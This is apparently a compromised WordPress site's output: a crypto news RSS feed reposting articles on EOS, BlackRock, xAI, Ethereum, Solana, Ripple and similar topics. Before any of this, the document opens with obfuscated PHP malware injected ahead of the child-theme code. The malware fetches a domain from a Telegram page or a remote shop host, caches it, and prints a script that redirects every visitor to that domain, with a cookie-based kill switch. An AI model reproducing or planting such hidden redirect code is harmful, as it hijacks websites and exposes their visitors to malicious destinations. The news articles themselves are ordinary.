if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . 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'/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Technology – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Tue, 16 Apr 2024 05:58:52 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Technology – CoinsMegaNews https://coinsmeganews.com 32 32 EOS Enters Real-World Assets: Launches Wrapped RAM https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/ https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/#respond Tue, 16 Apr 2024 05:58:52 +0000 https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/ [ad_1]

EOS has introduced Wrapped RAM (WRAM), a significant step in tokenizing real-world assets (RWAs) within its ecosystem.

This new development aims to enhance the liquidity and accessibility of Random Access Memory (RAM), a crucial but finite resource on the EOS platform.

EOS’ Wrapped RAM to Transform Markets

RAM is vital for the operation of decentralized applications (dApps) and the execution of transactions on the EOS blockchain. Traditionally, managing and trading RAM within the EOS system required direct interactions through the network’s Bancor Automated Market Maker (AMM).

The creation of WRAM offers a solution that enables off-chain trading and broader market visibility.

The WRAM initiative provides a 1:1 tokenization of existing RAM without transaction fees, allowing for greater flexibility. This allows users to trade WRAM on various cryptocurrency exchanges. Therefore, it aims to enhance the overall efficiency of resource management on the EOS network.

Additionally, WRAM can be tracked on significant data platforms like CoinMarketCap and CoinGecko. This provides a more transparent and accurate valuation of this asset, currently valued at a market cap of $108 million.

“WRAM offers a tokenized version of EOS RAM, extending its reach across the blockchain sector and creating new opportunities for growth. Once WRAM is bridged to platforms like Ethereum (ETH) and Binance Smart Chain (BSC), it will pave the way for listing WRAM trading pairs on major decentralized exchanges such as Uniswap V3 and PancakeSwap V3,” EOS Network Foundation wrote.

Unlike earlier RAM tokenization attempts such as BRAM, EOS Block Producers directly manage WRAM. This management structure improves security and regulatory compliance, facilitating listing on top-tier centralized crypto exchanges.

Read more: What is The Impact of Real World Asset (RWA) Tokenization?

As EOS explores the potential of tokenized real-world assets more broadly, WRAM is poised to play a critical role in showcasing how blockchain technology can be applied to enhance the utility and management of digital resources.

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In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/eos-enters-real-world-assets-launches-wrapped-ram/feed/ 0 BlackRock’s Real World Assets Can Now Be Swapped for USDC https://coinsmeganews.com/blackrocks-real-world-assets-can-now-be-swapped-for-usdc/ https://coinsmeganews.com/blackrocks-real-world-assets-can-now-be-swapped-for-usdc/#respond Mon, 15 Apr 2024 05:57:59 +0000 https://coinsmeganews.com/blackrocks-real-world-assets-can-now-be-swapped-for-usdc/ [ad_1]

The financial system is witnessing a transformative change as Circle announces a groundbreaking development. Investors holding shares in BlackRock’s USD Institutional Digital Liquidity Fund (BUIDL) can now seamlessly exchange their tokenized real-world assets for USDC.

This new smart contract functionality promises to revolutionize how investors interact with their assets, offering unprecedented speed, transparency, and efficiency.

Swapping BlackRock’s Real World Assets for USDC

“Tokenization of real-world assets is a rapidly emerging product category,” remarked Jeremy Allaire, Circle’s CEO. He further emphasized the importance of this innovation.

“USDC enables investors to move out of tokenized assets at speed, lowering costs and removing friction. We’re thrilled to provide this functionality to BUIDL investors and deliver the core benefits of blockchain transactions via USDC availability to investors,” Allaire added.

The introduction of BUIDL has been a significant milestone in the journey towards asset tokenization. It provides a glimpse into the future of finance, where blockchain technology bridges the gap between digital and real-world assets. The seamless integration offered by this fund showcases the potential of blockchain in reshaping the financial industry.

Read more: What Are Tokenized Real-World Assets (RWA)?

With Circle’s latest smart contract functionality, transferring BlackRock’s BUIDL shares for USDC on the secondary market becomes frictionless. This innovation ensures investors looking to sell their BUIDL shares can maintain their position in the market.

USDC’s trusted and transparent nature makes it an ideal choice for those seeking a stable and reliable digital currency. Therefore, this development is a significant step forward in the evolution of digital finance, providing investors with greater flexibility and control over their assets.

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In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/blackrocks-real-world-assets-can-now-be-swapped-for-usdc/feed/ 0 Elon Musk’s xAI Seeks $4 Billion in Funding to Rival OpenAI https://coinsmeganews.com/elon-musks-xai-seeks-4-billion-in-funding-to-rival-openai/ https://coinsmeganews.com/elon-musks-xai-seeks-4-billion-in-funding-to-rival-openai/#respond Sun, 14 Apr 2024 05:57:11 +0000 https://coinsmeganews.com/elon-musks-xai-seeks-4-billion-in-funding-to-rival-openai/ [ad_1]

Elon Musk’s nascent artificial intelligence venture, xAI, has set its sights on securing between $3 billion to $4 billion in funding, eyeing a valuation of $18 billion.

Amidst a wave of investor communications, including a detailed pitch deck, xAI is vying for a spot in the fiercely competitive AI market dominated by well-established players like OpenAI and Anthropic.

Artificial Intelligence Race Heats Up as xAI Seeks Funding

According to sources familiar with the matter, Musk’s team is engaging with Silicon Valley’s venture capital community to drum up interest in xAI’s financing round. Also, these discussions, which remain confidential, highlight Musk’s aggressive push to propel xAI to the forefront of the AI revolution.

OpenAI, known for creating the groundbreaking ChatGPT, has already clinched $13 billion from Microsoft. Its competitor, Anthropic, follows with over $6 billion in funding. Despite launching xAI publicly only in July 2023, Musk’s foray into AI has gathered momentum with the release of its chatbot, Grok, and subsequent availability on his social media platform, X.

The introduction of Grok-1.5, the latest AI model, marks xAI’s ambitious roadmap to become a leading name in artificial intelligence.

Read More: How Will Artificial Intelligence (AI) Transform Crypto?

Andy Jassy, Amazon’s CEO, recently underlined generative AI’s transformative potential, equating it to pivotal developments like cloud computing and the internet. In his annual shareholder letter, Jassy envisioned generative AI as a foundational component for Amazon’s future growth alongside its retail, Prime, and AWS services.

“Generative AI may be the largest technology transformation since the cloud (which itself, is still in the early stages), and perhaps since the Internet.” Jassy Stated.

Cathie Wood’s Ark Buys into OpenAI, Betting Big on AI’s Future

Simultaneously, Cathie Wood’s Ark Investment Management has thrown its weight behind OpenAI, confirming a stake in the AI pioneer through its Ark Venture Fund. Ark’s investment, alongside bets on companies like SpaceX and Epic Games, underscores the investment firm’s conviction in AI’s market-shaping power.

Brett Winton, Ark’s Chief Futurist, anticipates a staggering $16 trillion market cap for foundation model companies by 2030, revealing the high stakes and lofty expectations in the AI arena.

“Our fund is relatively new and small and for us, honestly, the incremental progress in the foundation model space has been quicker than even we had anticipated,” Winton added.

Read More: Top 9 Artificial Intelligence (AI) Cryptocurrencies in 2024

Formerly, as Musk’s xAI gears up for its multi-billion-dollar fundraising bid, the AI industry braces for a titanic clash of innovation, capital, and vision. Evidently, with xAI’s latest developments and strategic investments, the race to lead the next technological revolution is heating up, promising seismic shifts in the tech landscape and society.

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In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/elon-musks-xai-seeks-4-billion-in-funding-to-rival-openai/feed/ 0 This Is Why Ethereum’s Pectra Update Is a Game-Changer https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/ https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/#respond Sat, 13 Apr 2024 05:55:44 +0000 https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/ [ad_1]

Ethereum’s blockchain is set for another significant leap with the anticipated Pectra upgrade, following the successful Dencun upgrade that reduced transaction costs.

Slated for release between late 2024 and early 2025, the Pectra upgrade focuses on Ethereum Improvement Proposal (EIP) 3074 and EIP 2935. These vital modifications aim to transform how users interact with Ethereum wallets.

Ethereum Community Discusses Pros and Cons of Pectra

During a recent bi-weekly call, Ethereum developers announced that EIP 3074 would be central to the Pectra upgrade. Tim Beiko, a core Ethereum developer, confirmed its inclusion with a post on April 11.

This upgrade will introduce several smart contract functionalities to ordinary Ethereum wallets, significantly enhancing the user experience.

Read more: Ethereum EIPs: What Are They? How Are They Implemented?

According to Domothy, a researcher at the Ethereum Foundation, EIP 3074 will introduce a novel social recovery tool. This tool requires users to initially transfer asset ownership to an invoker contract via a digital signature. This contract will facilitate future transactions and enable users to reclaim their assets if they lose or forget their seed phrase.

Additionally, EIP 3074 eliminates the need for users to have Ethereum in their wallets to execute transactions. The entity behind the invoker contract can cover these costs upfront. This feature could significantly expand Ethereum’s appeal by lowering the barriers to entry for new users.

Moreover, EIP 3074 allows the batching of transactions. Users can approve multiple transactions at once, streamlining processes and enhancing efficiency. On-chain analyst Hitesh Malviya praises this upgrade for its potential impact on Web3 gaming.

“It’s going to be a game-changer for web3 gaming, where you can sign your session once and then play the whole game without worrying about interacting with smart contracts,” Malviya stated.

Uniswap developer Hayden Adams echoes this enthusiasm, describing the inclusion of EIP 3074 as a “monumental upgrade to Ethereum UX.” However, the upgrade has also raised concerns.

“Downside of EIP 3074 is that now it’ll be possible to fully drain an address (all tokens, all NFTs, all defi positions…) with only one bad signature,” DefiLlama co-founder 0xngmi said.

Read more: 9 Crypto Wallet Security Tips To Safeguard Your Assets

The name “Pectra” is an amalgamation of the “Prague” and “Electra” upgrades, impacting the execution and consensus layers of the blockchain, respectively. Similarly, “Dencun” is an amalgamation of the words “Deneb” and “Cancun.”

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In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/this-is-why-ethereums-pectra-update-is-a-game-changer/feed/ 0 This Country Plans to Build a Hotel Through Tokenization of RWA https://coinsmeganews.com/this-country-plans-to-build-a-hotel-through-tokenization-of-rwa/ https://coinsmeganews.com/this-country-plans-to-build-a-hotel-through-tokenization-of-rwa/#respond Fri, 12 Apr 2024 05:55:06 +0000 https://coinsmeganews.com/this-country-plans-to-build-a-hotel-through-tokenization-of-rwa/ [ad_1]

El Salvador is pioneering the integration of blockchain technology into traditional sectors by launching a tokenized debt issue. This initiative will fund the construction of a new hotel at El Salvador International Airport.

The facility will span 4,484 square meters, featuring 80 rooms, five commercial spaces, and various amenities, including a pool, restaurants, a gym, gardens, and multipurpose rooms.

El Salvador Hotel Project Will Require a Minimum Investment of $1000

Bitfinex Securities, the first regulated entity under El Salvador’s Digital Asset Securities Law, leads this venture. They plan to finance the hotel project through tokens issued by a developer – Inversiones Laguardia S.A. de C.V. (HILSV), aiming to raise $6.25 million.

These tokens offer a 10% coupon over five years, with a minimum investment of $1,000. Additionally, investors can receive free hotel accommodations based on the size of their investment.

The HILSV tokens would trade against US dollars and Tether’s USDT on the Liquid Network, a Bitcoin sidechain. Paolo Ardoino, CTO of Bitfinex Securities, emphasized the project’s importance.

Read more: What is The Impact of Real World Asset (RWA) Tokenization?

“For the first time, investors who do not usually have the opportunity to invest in such assets have the opportunity to do so, while issuers in markets which have less access to capital, are able to tap into a new asset class to raise finance,” Ardoino said.

This development has the potential to catalyze El Salvador’s capital market and introduce a major new asset class to the market. According to Jesse Knutson, Head of Operations at Bitfinex Securities, this project showcases the transformative power of Bitcoin-based capital markets.

It also contributes to El Salvador’s economic growth by creating significant employment opportunities.

The implementation of this project is expected to generate approximately 1,000 jobs during its construction phase. Moreover, it could create up to 5,000 jobs in its operational phase. The capital raise is scheduled to begin on May 13, 2024, and will last for one month.

Simultaneously, the tokenization of real-world assets is gaining momentum worldwide. Circle’s recent introduction of a smart contract for the BlackRock USD Institutional Digital Liquidity Fund (BUIDL) exemplifies this trend.

Now, investors in BUIDL can seamlessly exchange their tokenized real-world assets for USDC. This functionality, facilitated by Circle’s new smart contract, minimizes transaction costs and enhances liquidity, illustrating the vast potential of blockchain technology. Jeremy Allaire, CEO of Circle, expressed his enthusiasm for the new developments.

“Tokenization of real-world assets is a rapidly emerging product category,” Allaire said.

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]]> https://coinsmeganews.com/this-country-plans-to-build-a-hotel-through-tokenization-of-rwa/feed/ 0 Solana Passes New Proposal Amidst Failed Transactions Issues https://coinsmeganews.com/solana-passes-new-proposal-amidst-failed-transactions-issues/ https://coinsmeganews.com/solana-passes-new-proposal-amidst-failed-transactions-issues/#respond Thu, 11 Apr 2024 05:51:08 +0000 https://coinsmeganews.com/solana-passes-new-proposal-amidst-failed-transactions-issues/ [ad_1]

Amidst a spate of failed transactions and its current effort to fix the issue, Austin Federa, Head of Strategy at Solana Foundation, announced the passing of a governance proposal called “Timely Vote Credits.”

The proposal, which gained approval from 53% of validators with an impressive 98% voting in favor, seeks to enhance the speed of transaction confirmations.

How Does Solana’s “Timely Vote Credits” Proposal Work?

Zantetsu of Shinobi Systems, a Solana validator, designed the “Timely Vote Credits” proposal. The proposal introduces changes to the method used to calculate vote credits earned by validator votes.

The current Solana (SOL) validators award mechanism is one vote credit for each “rooted” slot (a fully committed block), irrespective of the timing of their vote. However, such a mechanism enables a loophole where validators could delay votes without penalty.

Read more: 6 Best Platforms To Buy Solana (SOL) in 2024

If implemented, The “Timely Vote Credits” proposal would award credits based on the “latency” of a vote. Latency refers to the delay between creating a slot and the arrival of the validator’s vote. Validators who vote faster would earn more credits, discouraging intentional delays.

Moreover, the proposal includes a built-in grace period of three slots. This is to even out the playing field for validators situated further from network hubs.

Despite the enthusiasm, this proposal still needs to address questions about its impact on transaction confirmation speeds. Yet, to date, Federa has not elaborated on how the change will directly impact transaction speeds in Solana.

Combined with the developers’ promise to rectify the failed transaction issues, the implementation of this proposal could potentially offer a comprehensive solution to the network’s challenges.

On April 5, roughly 75% of Solana network transactions failed, according to the data from a Dune dashboard. Users reported delays, error messages, and complete transaction failures despite retries. However, the percentage has decreased to 57.41% at the time of writing.

Solana Failed Non-Vote Transaction Rate.
Solana Failed Non-Vote Transaction Rate. Source: Dune

Mert Mumtaz, CEO of Helius Labs — a leading RPC & API platform in Solana, explained that the network’s issues are attributed to specific implementation bugs rather than inherent design flaws. Specifically, Mumtaz mentioned that the problem stemmed from a flawed implementation of the QUIC networking protocol.

Anatoly Yakovenko, co-founder of Solana Labs, also commented on the situation:

“Dealing with congestion bugs sucks so much more than total liveness failure. The latter is one and done, bug is identified and patched and chain continues. The former has to go through the full release and test pipeline.”

Read more: 13 Best Solana (SOL) Wallets To Consider In March 2024

Developers target April 15 to implement a fix for an “implementation bug” believed to be the root cause of the failure surge.

Despite the recent woes, Solana’s native token (SOL) has had a phenomenal 2024. Starting the year at $101.33, SOL briefly surged past $200 before settling around $172. According to data from CoinGecko, SOL’s current price has shown an 8.8% decline over the past week.

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]]> https://coinsmeganews.com/solana-passes-new-proposal-amidst-failed-transactions-issues/feed/ 0 This is Why Coinbase Integrates Bitcoin Lightning Network https://coinsmeganews.com/this-is-why-coinbase-integrates-bitcoin-lightning-network/ https://coinsmeganews.com/this-is-why-coinbase-integrates-bitcoin-lightning-network/#respond Wed, 10 Apr 2024 05:49:22 +0000 https://coinsmeganews.com/this-is-why-coinbase-integrates-bitcoin-lightning-network/ [ad_1]

Coinbase has selected Lightspark to integrate the Bitcoin Lightning Network.

This initiative aims to enhance the platform with faster and more cost-effective Bitcoin transactions, an important step towards improving efficiency.

Coinbase to Integrate the Bitcoin Lightning Network

The Bitcoin Lightning Network, a Layer 2 payment protocol, enables quicker transactions than Bitcoin’s primary network by reducing the blockchain’s burden. Lightspark, which specializes in providing access to the Lightning Network, has been working with Coinbase to implement this technology.

Through its software, Lightspark simplifies the integration and management of the Lightning Network for institutions. It offers a suite of tools designed for seamless transactions. The company boasts an AI-driven engine that optimizes liquidity and transaction routing.

The partnership entails Coinbase utilizing Lightspark’s remote-key signing feature. Therefore, Coinbase will retain control over the Lightning signing keys while Lightspark manages the node infrastructure. This setup is designed to scale effectively, offering a reliable node service with comprehensive functionality through an intuitive interface.

This allows Coinbase to focus on enhancing user experience without the need to manage a large-scale Lightning Network implementation.

“Coinbase is committed to making the global financial system faster and more efficient. We’re excited to partner with Lightspark to eliminate payment barriers and enable faster and cheaper Bitcoin transactions through support for the Bitcoin Lightning Network,” Shan Aggarwal, Coinbase VP of Corporate & Business Development, said.

The adoption of the Lightning Network by Coinbase is anticipated to significantly impact its operational efficiency and customer experience, particularly in terms of transaction speed and cost. It also marks a notable development for the Lightning Network, potentially increasing its usage and visibility within the cryptocurrency ecosystem.

Read more: The Best Bitcoin Lightning Network Wallets In 2024

This integration paves the way for Bitcoin’s new payment applications and liquidity options, aligning with broader trends in cryptocurrency adoption and technology advancement.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/this-is-why-coinbase-integrates-bitcoin-lightning-network/feed/ 0 These 7 Countries’ Team Up to Explore Tokenization https://coinsmeganews.com/these-7-countries-team-up-to-explore-tokenization/ https://coinsmeganews.com/these-7-countries-team-up-to-explore-tokenization/#respond Tue, 09 Apr 2024 05:46:30 +0000 https://coinsmeganews.com/these-7-countries-team-up-to-explore-tokenization/ [ad_1]

The Bank for International Settlements (BIS) and seven central banks embark on a journey to redefine financial systems through tokenization.

Named Project Agorá, this initiative marks a pivotal step towards the fusion of digital and traditional monetary realms. It promises a revolution in financial efficiency and innovation.

How Central Banks Plan to Utilize Tokenization

Project Agorá, deriving its name from the Greek term for “marketplace,” aligns the central banking forces of France, Japan, Korea, Mexico, Switzerland, England, and the Federal Reserve Bank of New York.

The Institute of International Finance (IIF) will coordinate this venture in partnership with the private sector. It aims to explore the integration of tokenized commercial and central bank funds on a unified ledger platform.

Furthermore, the collaboration addresses longstanding inefficiencies in cross-border payments. These include varied legal and regulatory landscapes, technical disparities, and the operational challenges posed by different time zones.

Moreover, the project seeks to streamline financial integrity controls, such as anti-money laundering and customer verification, currently plagued by redundancy due to multiple intermediaries.

“Smart contracts can enable new ways of settlement and unlock types of transactions that are not viable or practical today, in turn offering new opportunities to benefit businesses and people,” BIS wrote.

Meanwhile, HSBC Hong Kong is pioneering the adoption of tokenization technology. Sami Abouzahr, head of Wealth Management and Personal Banking Investment at HSBC, leads the initiative.

HSBC’s tokenization initiative is poised to offer investment avenues in both physical and virtual assets. It coincides with Hong Kong’s escalated trials of digital currencies, notably the digital Yuan, aiming to enhance cross-border payment systems.

Concurrently, industry leaders such as BlackRock are recognizing the transformative potential of asset tokenization. BlackRock’s CEO Larry Fink envisages a future where every asset class, including ETFs, could be tokenized, paving the way for greater transactional transparency and efficiency.

Read more: What is The Impact of Real World Asset (RWA) Tokenization?

Indeed, tokenization and digital currencies will redefine economic transactions, ushering in a new age of efficiency and connectivity.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/these-7-countries-team-up-to-explore-tokenization/feed/ 0 Why Andre Cronje Believes Meme Coins Will Thrive on Fantom https://coinsmeganews.com/why-andre-cronje-believes-meme-coins-will-thrive-on-fantom/ https://coinsmeganews.com/why-andre-cronje-believes-meme-coins-will-thrive-on-fantom/#respond Mon, 08 Apr 2024 05:44:37 +0000 https://coinsmeganews.com/why-andre-cronje-believes-meme-coins-will-thrive-on-fantom/ [ad_1]

Fantom is the latest Layer 1 blockchain actively courting meme coins amid the wave of explosive growth these assets have had.

Andre Cronje, the network’s founder, disclosed his ongoing examination of meme coins and the potential potential integration into Fantom.

Fantom’s Andre Cronje Eyes Community Safe Meme Coins

Cronje revealed that he is currently working on crafting a framework for launching, nurturing, and safeguarding community-centric meme coins. However, this endeavor has left him feeling exasperated, owing to the inherent volatility and limited utility linked to these digital assets.

Still, this initiative hints at Fantom’s imminent entry into the expanding array of smart contract networks facilitating the easy creation and exchange of memecoins.

Since the beginning of the year, meme coins have witnessed a spike in interest among cryptocurrency investors. Notably, various blockchains such as BNB Chain and Avalanche have rolled out incentives to entice meme coin developers into these networks.

Blockchain analytics platform IntoTheBlock reported that the collective value of this sector has nearly tripled, reaching a market capitalization of $56 billion. Surges in several Solana-based meme coins like Dogwifihat (WIF) and Book of Meme (BOME) fueled this uptick. Meanwhile, other established meme coins such as Dogecoin, Shiba Inu, and Pepe have also witnessed a massive rise this year.

Read more: 7 Hot Meme Coins and Altcoins that are Trending in 2024

Meme Coins Market Capitalization
Meme Coins Market Capitalization. Source: IntoTheBlock

Remarkably, meme coins have flourished within ecosystems featuring lower fees. For example, Solana has witnessed multiple days of higher trading volumes than Ethereum in this quarter alone. This heightened network activity has significantly propelled trading on Solana to record levels.

However, the proliferation of automated bots has impacted Solana’s network performance.

“Demand for meme coins hit the highest since 2021 this quarter. Despite interest rates remaining high and no stimmy checks being sent out, appetite for seemingly useless crypto-assets has been very strong. It’s unclear whether this is due to the economy getting overheated, or perhaps just growing “financial nihilism”, but meme coins have become the main subject in crypto over the last few months,” Lucas Outumuro, the head of research at IntoTheBlock remarked.

Despite the hype surrounding meme coins, several concerns persist, particularly regarding their security and lack of practical application.

These concerns prompted Ethereum co-founder Vitalik Buterin to discuss the potential societal benefits of meme coins. Buterin emphasized that these assets could be designed to uplift and unite communities and serve as instruments for social good and entertainment.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/why-andre-cronje-believes-meme-coins-will-thrive-on-fantom/feed/ 0 This is Why Ripple Labs’ New Stablecoin Matters to You https://coinsmeganews.com/this-is-why-ripple-labs-new-stablecoin-matters-to-you/ https://coinsmeganews.com/this-is-why-ripple-labs-new-stablecoin-matters-to-you/#respond Sun, 07 Apr 2024 05:43:36 +0000 https://coinsmeganews.com/this-is-why-ripple-labs-new-stablecoin-matters-to-you/ [ad_1]

Ripple, the company behind the XRP Ledger, has announced its entry into the stablecoin market, a sector currently dominated by players like Tether’s USDT and Circle’s USDC.

The new stablecoin, yet to be named, will be pegged to the US dollar and is expected to launch later this year.

Ripple to Launch a Stablecoin

Ripple’s offering aims to distinguish itself by being “100% backed by US dollar deposits, short-term US government Treasuries, and other cash equivalents.” This move places a strong emphasis on security and stability.

According to Ripple, the decision to venture into stablecoins comes at a time when the market is experiencing significant growth. Indeed, projections indicate it could expand to over $2.8 trillion by 2028. The company plans to deploy its stablecoin on the XRP Ledger and the Ethereum blockchain, utilizing the ERC-20 token standard for broader compatibility and utility.

This move into stablecoins is noteworthy for the company, particularly as Ripple navigates a legal battle with the US Securities and Exchange Commission.

Brad Garlinghouse, Ripple’s Chief Executive Officer, highlighted the strategic importance of the new stablecoin. He emphasized the aim for stability and transparency, noting plans for monthly public audits by a reputable accounting firm to ensure user accountability and trust.

“Launching a stablecoin is a natural step for Ripple as we bridge the gap between traditional finance and crypto. We have the years of experience, regulatory footprint, a strong balance sheet, and a network with near global payout coverage, to offer the best of crypto-enabled payments using XRP and our (future) stablecoin together,” Garlinghouse said.

The stablecoin market has become increasingly popular among investors and traders seeking to avoid the volatility associated with traditional cryptocurrencies like Bitcoin and Ethereum. Ripple’s entry signifies a potential shift, challenging the dominance of established stablecoins such as USDT and USDC.

Read more: A Guide to the Best Stablecoins in 2024

Ripple’s approach to its stablecoin, focusing on enterprise and banking customers, reflects a compliance-first mindset. However, with USDC currently leading among compliance-focused consumers, Ripple’s stablecoin faces the challenge of establishing itself in a competitive market.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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